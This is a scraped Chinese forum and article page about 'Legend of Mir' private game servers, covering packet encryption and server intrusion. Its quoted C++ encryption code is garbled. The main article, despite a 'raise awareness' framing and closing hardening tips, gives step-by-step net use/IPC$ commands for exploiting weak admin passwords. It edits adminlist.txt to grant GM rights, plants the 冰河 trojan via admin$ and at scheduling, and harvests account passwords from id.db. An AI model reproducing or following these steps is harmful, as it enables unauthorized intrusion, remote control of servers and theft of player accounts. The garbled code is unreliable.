传奇英雄合击传奇私服数据包被加密过吗?

&&&&&全站 说: gudusf,com公益服一大堆
1天前全站 说: 3天前全站 说: 我不是来打广告的!还想玩这个服,所以就不发网站了。想请教个问题,就是我现在玩的服花了几百,刚开始也学着找漏洞@11什么的,可惜并没有,但是最近不知道为啥,昨天我上游戏闲来无聊就@11个结果就提示@11物品名称数量8天前全站 说: YY频道744313骗子倒闭了又换新频道了骗子YY355484大家小心他们是骗子8天前全站 说: YY频道744313骗子倒闭了又换新频道了骗子YY355484大家小心他们是骗子8天前全站 说: YY频道744313骗子倒闭了又换新频道了骗子YY3554848天前全站 说: 10天前全站 说: YY频道744313是骗子大家不要相信他们的YY。。被骗了自己负责啊~~~~~10天前全站 说: YY频道744313是小人是骗子是垃圾天天跑论坛发广告大家注意15天前全站 说: YY频道 744313是骗子-快倒闭了~~~YY频道 744313是骗子-快倒闭了16天前全站 说: 744313是骗子-快倒闭了~~大家千万小心不要上当~~~他们是骗子16天前全站 说: 744313是骗子快倒闭了到处拉人骗人猪狗不如~~~大家千万小心16天前全站 说: YY频道 744313是骗子-快倒闭了~~~YY频道 744313是骗子-快倒闭了17天前全站 说: YY频道 744313是骗子-快倒闭了~~大家千万小心不要上当~~~他们是骗子
17天前全站 说: YY频道 744313是骗子快倒闭了到处拉人骗人猪狗不如~~~大家千万小心19天前全站 说: YY频道744313是骗子,天天换马甲到处骗人大家注意了26天前全站 说: YY频道744313是小人是骗子是垃圾天天跑论坛发广告大家注意26天前全站 说: YY频道744313是小人是骗子是垃圾天天跑论坛发广告大家注意26天前全站 说: 求过正确的组词验证回收全站 说: 肯定是强大大偷偷给你扣的
全站 说: 你的巴豆少了这个我可不知道没偷哦~~
全站 说: 为什么我的巴豆少了那么多啊小强大大
全站 说: 出来冒个泡
全站 说: 露脸
全站 说: 没用过这个。。。。。。。。。。。
全站 说: 全站 说: 求高手做传奇私服辅助脚本,必有酬谢,巴豆或是红包都可以,加我扣扣详说全站 说: 升级中。。。
全站 说: 全站 说: 请解封我,谢了~
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浅谈贝贝游戏数据加密解密方式 kwting 当前离线
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贝贝游戏 网址 这个游戏和其他的网狐的客服端不同,界面不同其次主要的不同是他们数据加密方法不同,传统的数据加密方式如下,因为手上有网狐的源码所以直接上源码
//加密数据
WORD CTCPSocket::EncryptBuffer(BYTE pcbDataBuffer[], WORD wDataSize, WORD wBufferSize)
&&//效验参数
&&ASSERT(wDataSize&=sizeof(TCP_Head));
&&ASSERT(wBufferSize&=(wDataSize+2*sizeof(DWORD)));
&&ASSERT(wDataSize&=(sizeof(TCP_Head)+SOCKET_TCP_PACKET));
&&//调整长度
&&WORD wEncryptSize=wDataSize-sizeof(TCP_Command),wSnapCount=0;
&&if ((wEncryptSize%sizeof(DWORD))!=0)
& & wSnapCount=sizeof(DWORD)-wEncryptSize%sizeof(DWORD);
& & memset(pcbDataBuffer+sizeof(TCP_Info)+wEncryptSize,0,wSnapCount);
&&//效验码与字节映射
&&BYTE cbCheckCode=0;
&&for (WORD i=sizeof(TCP_Info);i&wDataSi++)
& & cbCheckCode+=pcbDataBuffer;
& & pcbDataBuffer=MapSendByte(pcbDataBuffer);
&&//填写信息头
&&TCP_Head * pHead=(TCP_Head *)pcbDataB
&&pHead-&TCPInfo.cbCheckCode=~cbCheckCode+1;
&&pHead-&TCPInfo.wPacketSize=wDataS
&&pHead-&TCPInfo.cbDataKind=SOCKET_VER;
&&//创建密钥
&&DWORD dwXorKey=m_dwSendXorK
&&if (m_dwSendPacketCount==0)
& & //生成第一次随机种子
& & GUID G
& & CoCreateGuid(&Guid);
& & dwXorKey=GetTickCount()*GetTickCount();
& & dwXorKey^=Guid.Data1;
& & dwXorKey^=Guid.Data2;
& & dwXorKey^=Guid.Data3;
& & dwXorKey^=*((DWORD *)Guid.Data4);
& & //随机映射种子
& & dwXorKey=SeedRandMap((WORD)dwXorKey);
& & dwXorKey|=((DWORD)SeedRandMap((WORD)(dwXorKey&&16)))&&16;
& & dwXorKey^=g_dwPacketK
& & m_dwSendXorKey=dwXorK
& & m_dwRecvXorKey=dwXorK
&&//加密数据
&&WORD * pwSeed=(WORD *)(pcbDataBuffer+sizeof(TCP_Info));
&&DWORD * pdwXor=(DWORD *)(pcbDataBuffer+sizeof(TCP_Info));
&&WORD wEncrypCount=(wEncryptSize+wSnapCount)/sizeof(DWORD);
&&for (i=0;i&wEncrypCi++)
& & *pdwXor++^=dwXorK
& & dwXorKey=SeedRandMap(*pwSeed++);
& & dwXorKey|=((DWORD)SeedRandMap(*pwSeed++))&&16;
& & dwXorKey^=g_dwPacketK
&&//插入密钥
&&if (m_dwSendPacketCount==0)
& & MoveMemory(pcbDataBuffer+sizeof(TCP_Head)+sizeof(DWORD),pcbDataBuffer+sizeof(TCP_Head),wDataSize);
& & *((DWORD *)(pcbDataBuffer+sizeof(TCP_Head)))=m_dwSendXorK
& & pHead-&TCPInfo.wPacketSize+=sizeof(DWORD);
& & wDataSize+=sizeof(DWORD);
&&//设置变量
&&m_dwSendPacketCount++;
&&m_dwSendXorKey=dwXorK
&&return wDataS
&pre name=&code& class=&cpp&&//解密数据
WORD CTCPSocket::CrevasseBuffer(BYTE pcbDataBuffer[], WORD wDataSize)
&&//效验参数
&&ASSERT(m_dwSendPacketCount&0);
&&ASSERT(wDataSize&=sizeof(TCP_Head));
&&ASSERT(((TCP_Head *)pcbDataBuffer)-&TCPInfo.wPacketSize==wDataSize);
&&//调整长度
&&WORD wSnapCount=0;
&&if ((wDataSize%sizeof(DWORD))!=0)
& & wSnapCount=sizeof(DWORD)-wDataSize%sizeof(DWORD);
& & memset(pcbDataBuffer+wDataSize,0,wSnapCount);
&&//解密数据
&&DWORD dwXorKey=m_dwRecvXorK
&&DWORD * pdwXor=(DWORD *)(pcbDataBuffer+sizeof(TCP_Info));
&&WORD&&* pwSeed=(WORD *)(pcbDataBuffer+sizeof(TCP_Info));
&&WORD wEncrypCount=(wDataSize+wSnapCount-sizeof(TCP_Info))/4;
&&for (WORD i=0;i&wEncrypCi++)
& & if ((i==(wEncrypCount-1))&&(wSnapCount&0))
& && &BYTE * pcbKey=((BYTE *)&m_dwRecvXorKey)+sizeof(DWORD)-wSnapC
& && &CopyMemory(pcbDataBuffer+wDataSize,pcbKey,wSnapCount);
& & dwXorKey=SeedRandMap(*pwSeed++);
& & dwXorKey|=((DWORD)SeedRandMap(*pwSeed++))&&16;
& & dwXorKey^=g_dwPacketK
& & *pdwXor++^=m_dwRecvXorK
& & m_dwRecvXorKey=dwXorK
&&//效验码与字节映射
&&TCP_Head * pHead=(TCP_Head *)pcbDataB
&&BYTE cbCheckCode=pHead-&TCPInfo.cbCheckC
&&for (int i=sizeof(TCP_Info);i&wDataSi++)
& & pcbDataBuffer=MapRecvByte(pcbDataBuffer);
& & cbCheckCode+=pcbDataBuffer;
&&if (cbCheckCode!=0) throw TEXT(&数据包效验码错误&);
&&return wDataS
上面代码是从网狐的源码里面摘选出来的 他们默认的加密和解密秘钥是:0X 这种加密方式和解密方式很简单安全性呢说呢如果数据被拦截 比如通过设备拦截数据是可以再中间加密解密出来的,就是说如果有人想从数据方面 至少是可以把数据给拦截下面并且知道里面具体是什么数据,在安全性方面并不能够达到特别安全‘
&&然而对于贝贝游戏,贝贝游戏源码应该是从之前998游戏手上购买的,他们的加密形式比较复杂,因为我手上并没有贝贝游戏的源码 我只能通过逆向简单说一下他们的加密方式
加密方式主要有AES加密
我找了一个AES 加密解密的DEMO 截图
还有一种是RSA加密
(RSA是目前最有影响力的公钥加密算法,它能够抵抗到目前为止已知的绝大多数密码攻击,已被ISO推荐为公钥数据加密标准。)
可见他们加密的严密程度是非常严的,可以断定的说即使你在中途把数据拦截下来你如果没有私钥你也没法破解出秘钥的,因为对于RSA私钥只会保存到游戏服务器端,其他地方均不会出现。
下面是百度RSA加密解密处理流程
&&大概理论知识说得差不多了,接下来我们主要给大家理清一下这个棋牌游戏他是如何和服务器通信的
&&大概步骤是这样的
1:第一步 客服端和服务器建立起TCP 链接,3次握手后发送数据给服务器端,第一个发送的数据是AES的加密密钥,这个密钥是随机生成的,以后在这个SOCK连接中一直是用这个秘钥进行通信的,客服端先随机生成一个秘钥然后通过用RSA的方法+RSA公钥加密 把加密数据发送到服务器端
& &服务器端通过RSA私钥把发送过来的数据解密出来,解密出来的即是AES的密钥,这个密钥是既作为在这个SOCK断开之前一直用的。到目前为止RSA加密就到此为止了,之后RSA即派不上用场了,所以RSA算法只是作为一个加密密钥的作用,那有人会问这样安全吗?说实话正是因为用RSA算法才让整个接下来的数据变得安全,因为一般的加密算法都是一个密钥,客服端要加密这个密钥肯定会在客服端出现,然后RSA机制是公钥在客服端,然后私钥只在服务端,即保证了在传送秘钥的过程中即使数据被拦截人家要解密不出来密钥,还有人会问既然这么安全为什么不一致都用RSA呢,其实很简单RSA加密算法安全其实是建立在他复杂上面,既然复杂他的处理流程是很慢的,加密解密速度是很慢的,尤其是作为游戏如果光一个数据加密解密就需要很长时间,那么游戏之前通信如此频繁游戏肯定会感觉很卡,因为数据不能及时被处理。所以他只是在建立SOCK的时候调用一下这个算法
2:第二步 既然客服端随机生成的秘钥已经通知到服务器端了,那么他们之后的数据都是用AES 这种算法速度很快,而且在不知道密钥的情况下也是很安全的,而这个密钥是
随机的,所以你说安全吗
贝贝游戏AES加密算法调用处
贝贝游戏AES解密算法调用处
& &上面截图是在贝贝游戏中AES加密解密的地方。
& &大概贝贝的数据加密解密就是通过上面2个步骤,所以说贝贝游戏在数据安全性方面还是很不错的,至少个人感觉很严密。
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&成长值: 40110
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看不懂这个。
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看的头疼···眼睛花····可是还是看不懂···
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开区一条龙一些传奇为什么存在非法GM的真正原因
更新时间: 10:10来源:
开区一条龙 作者:我八路信誉传奇一条龙 阅读次数:次
一些传奇为什么存在非法GM的真正原因,下面是怎么做非法GM而不在GM文件里表现出来,也不是什么后门的问题,请看转帖,希望大家严加防范。
如何在别人的做GM?
攻击初级教学
我在侵入别人4f所使用的方法
看到有些sf做的不错,但是进去又不是很有钱,也没装备,高手也很多,一直不喜欢在里面当菜鸟的我,一口气进入他们的端大闹一番之后。当足了gm的瘾,现在我把方法公布与大家。
2000版装下去会自动装IIS的,若你觉得IIS没有什么用就停止。IIS地址:开始》》程序》》管理工具》》Internet信息服务(这个就是IIS)你将他开启。上面按停止!这样就进一步了。不过若IIS你需要用的话,哪么记得打目前最新的补丁SP4哦。&
RPC溢出。大家记住,试试telnet IP 135看看有没有开着。若是开着。请打RPC补丁。若找不到。干脆装个,将135端屏蔽!
大家千万要记住。入侵系统最关点的就是要帐号密码。保护好自已帐号与密码。一定属于你!
本文引起广大sf拥有者的注意
入侵/充当非法GM。
首先,我得声明,我写本文并不是教大家如何去黑4f,只是想以本文引起广大4f拥有者的注意
,提高自己的网管水平。
我爱玩,但却玩得很菜,也没有时间去玩,只想玩着过瘾,所以,当我开始玩时,
虽觉得是好玩,但玩盛大的简直是在受罪,升级慢,没好装备,处处受人欺负。所以,4f是明
智的选择,但进去时也没有好装备,也是受人欺负,难道我不可以做gm?试试,folling me!
找来一大堆4f的ip,开个x-scan扫吧。有了,还真不少,都是弱口令的,这些网管真菜呀。
选好一个,192.168.0.1,go!
1)c:/&net use 192.168.0.1ipc$ && /user:administrator
连接成功,
ok,连上了,成功在望,
2)c:/&copy 192.168.0.1d$mirservermir200enviradminlist.txt
系统找不到指定的文件。
没有?不可能吧?唔,一定是隐藏了,没关系,再来,
3)c:&attrib -r -h 192.168.0.1d$mirservermir200enviradminlist.txt
没有提示,成功了,
这次连复制也不用了,直接改吧,
4)c:&edit 192.168.0.1d$mirservermir200enviradminlist.txt
会打开个介面,看看里面有哪些gm,加个吧,自己记得就行了,改完保存退出
5)c:&attrib +r +h 192.168.0.1d$mirservermir200enviradminlist.txt
把adminilist.txt还原成只读隐藏,
好了,大功告成,快打扫脚印吧,别让人发现被入侵了,
现在,就等着系统重启了,等不及的话就在第五步让它重启,不过这样太危险了,还是等吧
其实我所使用的方法很简单,只有4个工具:
(一):shed.exe
(二)流光2000
(三)cmd.exe (其实就是2000下的dos啦)!
(四)冰河8.4 操作系统:win2000 server 或者winxp系统。 &shed.exe&:其实就是用来网上查共享资源的,速度快,可以查到很多服务断的共项文件,不过在这里面有些ip在浏览器中无法访问,这是因为其中也包含了个人上网的ip.呵呵!一些作,网吧的一些目录都是共享的,有些是可以访问,但是不能删除,因为你所访问的都是以匿名访问的,所以权限不够!有些需要密码。遇到密码怎办?用流光! &流光&虽说对202作了限制,但是对小日本的ip可是没有限制的,呵呵!所以说使用流光的ipc探测,建立一个空对话,查到用户列表,然后先简单探测,此时有些网管懒惰,把administrator设置的过于简单,呵呵,你就可以抓到了。
下一步如何做呢?也许在你查对方的端口时发现对方开的端口很少,比如ftp没开,怎办呢?冰河! &冰河&,想必许多朋友都玩过,使用冰河控制一台服务器速度很快,(因为那边带宽很大)几分钟就可以查到对方主机的主页所在位置。但是如何上传并且控制他呢? &cmd.exe& 是2000下的dos了,执行cmd.exe 使用net命令,
具体操作如下:
第一步:net use \\ip\ipc$ &password& /user:&user& 说明:以一个超级用户名与你想黑的网站建立联接,当然超级用户必须是该admin里的。这里的&ip&就是主机了,&password&就是超级用户的密码,&user&就是超级用户。比如:net use \\210.248.250.2\ipc$ &maozhiie& /user:&maozhijie&
第二步:copy g-server.exe \\ip\admin$\system32 说明:g-server.exe就是冰河的远程端。意义:将此文件拷贝到对方的主机winnt里的system32目录里。也许有人要问木马侵入对方那边可以察觉出来的吧,呵呵!装了估计可以,不过很多主机没钱买呀!不像中国盗版满天飞!如果你有最新的木马也可以的!这是最好的了!!嘿嘿&&
第三步:net time \\ip 察看对方的服务器时间。由于有时差,应该是一个小时吧!所以必须要以对方的时间为准。
第四步:at \\ip time g-server.exe 这里的time就是对方的主机时间。作用:在规定时间执行该程序。比如 at \\210.248.250.2 19:55 g-server.exe 第五步:冰河就可以控制该电脑了。这个我就不说了吧,呵呵!菜鸟也会玩的软件。
这时我们就可以控制了,
net use * \\ip\*$ 远程映射&
mir.db里面有每个人的数据,并且没加密的,大家可以用
access找开来改一下,改几个极品,如0-80攻的木剑啊,0-50魔的六角戒指之类的,那就随你的便了。只是这样也太烦人了。
比如武器,数据格式如下(全部是16进制)
** ** ** ** ce 00 43 12 88 13 01 02 03 04 05 06 07 08 09 00 00 0a
前面**的是物品代码,然后0xce 00 是武器代码(高位在后),和物品db数据库中对应,
例:物品数据库中屠龙是序号(idx)是205,对应到这里就是(205+1)转为16进制是ce
后面的 43 12是当前持久度,88 13是最大持久度。
例:43 12换算成十进制为17170,持久度为17
后面的01 02 03依次是攻击、魔法、道术。
注意是在原武基础上增加。
例:上面的屠龙显示出来是攻击:5-36,道术:0-2,魔法:0-3。www.sfmir2.co
后面的04 05 06 07 08 09依次是武器的 幸运、诅咒、准确、攻击速度、强度。
后面两个空位后紧跟的0x0a是表示武器是否被修炼,具体来说
给武器加攻击时:
修炼前:00
修炼后:0a
试验成功后:00,攻击值增加。
对于首饰和衣服,自己研究吧,这有好多人都知道的吧,我没细写。网上这方面的文章是有的,我就不用多说了吧?
然后到,|mirserver\mud2\logsrv\iddb下
这里有个id.db所有人的帐号和密码都在了,你看着办吧,不过偷人家的号也不是什么光荣的事,我是从来不做的,只是常常会拿gm的号来reload一下。
这里,我把你边走边看加到这个的adminlist,呵呵,这里是打个比方,这里加入你的名字),然后,我们到mir.db中找出gm的帐号,再到id.db中找出这个帐号的密码。好了,ok了,用gm号进入(进之前m一下他啊,不要让人家发现了,也不要改人家的密码,让人家发现了多不好啊,呵呵)。打命令@reloadadmin。立刻out吧。
然后,把你加入adminlist的人物从adminlist里删除,好了,你进去吧,你是gm了,可是真正的gm是不会从端看到你的名字呢!!他也许在想&这里怎么了啊?好像还有个gm?&。不过不要过火了,不然人家一个reload你的权限就没了啊。
到这里大家做gm的梦就完成了,下面我说的就是怎么远程控制主机了,比如给他关机啊重启啊&&&&
我是一点都不懂。不过方面还是略懂一二哦!
入侵主要*的是帐号与密码。大家要先明白什么是系统帐号。什么是系统密码!
其它WINDOWS每一个系统都有着他的超级管理员帐号与密码!
一但这些被到的话,哪么你将会得到一个恐怕的威胁!
当你是人气高的时候。给入侵的话,哪要是万一给删了数据。到时候。真的是惨不忍堵。
一:了解一下帐号的含义
然后输入:net user(回车健)
这样后,会显示一例帐号
再查看管理员帐号
输入:net localgroup administrators
这就是查看administrators组的用户。这样的话若是人家用隐藏帐号的方法也会查出来!
系统自带的超级管理员帐号是administratorw
记住这里显示出来多个帐号不明的帐号。哪就证明你机器不了。若出现在的帐号都是你自已的帐号。哪百分之四十你机器未被入侵
二:密码篇
你若觉得自已的帐号密码是123456哪么不出三秒人家就到你机上一游了。
修改密码方法,在DOS下修改更
输入net user 帐号名 需修改密码(然后回车健)
一般密码设复杂一点!
ght dedecms
第二天注册个帐号,新建个之前加的人名进去,
当前150人在线
哈,我就是gm了。赶快把自己升级,
升级成功,255级,哈哈
再造出想要的装备,想要什么尽情造吧,
重复上面的把自己从adminlist.txt里删了,好装备到手了,可以玩了
面记得有位朋友对加强对服务器性的解决方法进行了一系列的说明,讲得非常详细,但是我觉得还有很多需要补充的地方.微软的系统是漏洞和补丁著称,真正要对的配置确实非常困难,考虑的方面也太多了.
今天传奇开区一条龙先讲一个方面的内容了,也算是对前面的朋友的进一步补充吧!
前面那位朋友所概述的主要是针对WIN2000系统弱口令的设置!他已经说得很仔细了,做到那些,口令这一关差不多了.确实在互联网的时代,口令真的非常重要.我对国外的主机进行了一系列的测试,就拿有弱口令的系统来说,还有不少!其中也包括了不少中小型企业的WEB服务器,E-MAIL,PROXY都有这种低级的错误!
如果说你在这方面做得非常的仔细.但你至少还要仔细研究一下你主机现在所运行的有哪些服务,这些服务代表着什么?你应该很清楚!因为现在软件,木马工具,远程控制软件大多是以一种服务的形式运行在你的服务器系统里,一般的,杀毒软件对其并没有任何反映的.对于服务形式出现的控制工具.比较难得发现,所以你就必须在里运行的哪些服务非常熟悉.对于陌生或奇怪的服务应该设置好.
下面我都WIN2000的WWW(IIS)配置略讲一下,WWW服务在WIN2000SERVER,ADSERVER,DATACENTERSERVER,中是默认安装的,如果你不需要用2000的WWW服务的话,建议不要安装.至于添加/删除你可以控制面板的去掉他的安装,或者在&管理工具&/&服务&里设置WORD WIDE WEB SERVICE&启动类型为&手动/禁用&
这样的话系统就不默认启动改服务!
如果你需要用IIS来建站宣传一下自己的,你就必须按以下方法配置好IIS,
在IIS组件你首先要去掉你不需要的SMTP,SNNP,FTP,这样的话你可以降低你运行所占用的CPU资源,和内存使用率.然后建议你删除你C:\INTERPUB\目录下的所有内容!或者更改路径.在IIS管理器中删除默认站点,(或者删除SCRIPTS这个虚拟目录)因为这个目录有可写的权限的.在新建的WEB站点中,设置IIS的权置,必须让它不能写入,或运行.因为IIS是默认支持ASP脚本的.然后在IIS中删除不需要的映射,这个很重要.如果你要支持PHP,CGI脚本的话,你还得配置好PHP.CGI的应用程序的正确映射,禁用或删除FSO组件,(去年深圳之窗就是被人家利用FSO黑了......)如果你要使用FSO的话,最好要改名!否则的话,你给别人提供主页上传的话,你肯定是会被黑的.小心呀!
目前在横行的互联网空间中,利用IIS的漏洞,提申自己的权限,而成为AD,这些只是轻而易举的事情,这不需要花几天的时间去暴力破解一下口令,像自己架设的WEB有种情况,更是数不甚数了.关于怎利用UNICODE漏洞去提供AD权限的文章,网上太多了,我就不多讲了.
这些来说应该是服务器安全防范方面的一个例子而已,真正要做到服务器的运行,需要你花大量的时间去摸索.因为这些来说,足以应付一些无聊的.....当然了,你如果需要WEB,我还是建议你去使用AP了.他的源代码开发,免费,性稳定性都比IIS强得多了.
如果你还有许多要和我讨论的问题,可以直接与我八路传奇一条龙联系.到于LINUX的性问题,AP的问题,2000的一些防黑措拖,以及反黑,跟踪攻击,对付DDOS的问题都可以与我讨论,想说的话实在太多。
(责任编辑:admin)
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